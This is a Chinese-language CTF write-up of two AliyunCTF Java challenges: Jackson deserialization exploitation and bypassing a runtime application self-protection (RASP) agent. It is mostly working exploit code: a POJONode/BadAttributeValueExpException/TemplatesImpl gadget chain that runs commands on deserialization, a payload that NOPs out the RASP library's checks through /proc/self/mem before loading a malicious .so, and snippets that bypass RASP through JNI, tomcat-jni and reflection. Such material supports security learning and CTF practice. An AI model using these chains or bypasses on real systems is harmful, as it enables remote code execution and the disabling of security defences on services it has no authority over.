前段时间的 AliyunCTF 中出了两道比较有意思的 Java 题,涉及 Jackson 利用的姿势和 RASP 的绕过,比较有趣。复现完这两题之后又去学了一些 RASP 的知识,来记录一下
题目细节
首先是第一道题目的逻辑,题目给出了一个原生序列化的场景,依赖中有一个 Jackson,利用链主要是利用 Jackson 的 POJONode 的特性,在 toString 时会跟 Fastjson 一样,调用 getter 和 setter,那么就可以构造 BadAttributeValueExpException 这条链子,toString 后触发 TemplatesImpl
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.Base64;
public class Exp {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
Field fieldByteCodes = templatesimpl.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templatesimpl, new byte[][]{ClassPool.getDefault().get(Write.class.getName()).toBytecode()});
Field fieldName = templatesimpl.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templatesimpl, "crumbledwall");
Field fieldTfactory = templatesimpl.getClass().getDeclaredField("_tfactory");
fieldTfactory.setAccessible(true);
fieldTfactory.set(templatesimpl, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
fieldByteCodes.setAccessible(true);
POJONode pojoNode = new POJONode(templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
fieldName = badAttributeValueExpException.getClass().getDeclaredField("val");
fieldName.setAccessible(true);
fieldName.set(badAttributeValueExpException, pojoNode);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(badAttributeValueExpException);
System.out.println(Base64.getEncoder().encode(baos.toByteArray()));
}
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Backup extends AbstractTranslet {
static {
try {
java.lang.Runtime.getRuntime.exec("calc");
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
注意这里在生成 Payload 的时候就会触发链子,没法正常的生成 Payload,需要 Hook 掉 BaseJsonNode 的 writeReplace 函数,保证 Payload 正常生成
public abstract class BaseJsonNode extends JsonNode implements Serializable {
// ...
Object writeReplace() {
return this;
}
// ...
}
然后第二题多了一个 Rasp,用动态链接库 Hook 掉了 Unix.Process,无法命令执行,而且限制了System.load,我们无法使用常用的 jni 绕过。这里可以直接 nop 掉 /proc/self/mem
里的 text 段相关逻辑,然后加载恶意 so 链接库来触发系统命令。
前半部分利用与上一题相同,只要改利用部分
package org.learn;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.RandomAccessFile;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.List;
public class Write extends AbstractTranslet {
public static native void sayHello();
static String addrs;
static Long dotAddr;
static {
try {
Path path = Paths.get("/proc/self/maps");
List<String> contents = Files.readAllLines(path);
for(String content:contents){
if(content.contains("/opt/rasp/libnativerasp.so")){
addrs = content.split(" ")[0];
Long baseAddr = Long.parseLong(addrs.split("-")[0], 16);
dotAddr = baseAddr + 0x1439L; // 路径判断地址
break;
}
}
RandomAccessFile raf = new RandomAccessFile("/proc/self/mem", "rw");
raf.seek(dotAddr);
raf.write(new byte[]{(byte) 0x90, (byte) 0x90});
System.load("/tmp/pwn.so");
// Test.sayHello();
} catch (Exception e) {
System.out.println("func err");
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
Rasp 的绕过
阅读了 Kcon 2022 的 Rasp 相关报告,来简单总结一下相关的绕过方式
首先最简单的绕过方式就是 jni 绕过,通过编写恶意 so 文件,加载执行系统命令
public class Glassy {
public static native String exec(String cmd);
static {
System.load("/tmp/libglassy.so");
}
}
然后在 Tomcat 环境中,可以通过 tomcat-jni.jar 来直接调用系统命令,不需要我们自己来编写恶意的 jni
Library.initialize(null);
long pool = Pool.create(0);
long proc = Proc.alloc(pool);
Proc.create(proc, "/bin/calc", new
String[]{}, new String[]{}, Procattr.create(pool), pool);
此外,对于没有 ban 掉反射的 Rasp,我们可以直接通过反射来获取相关变量,hook 掉 Rasp 加载相关的逻辑,使 Rasp 不生效
Class clazz = Class.forName("com.xxx.xxx.HookHandler");
Field used = clazz.getDeclaredField("enableHook");
used.setAccessible(true);
Object enableHook = used.get(null);
Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class);
setMethod.invoke(enableHook,false);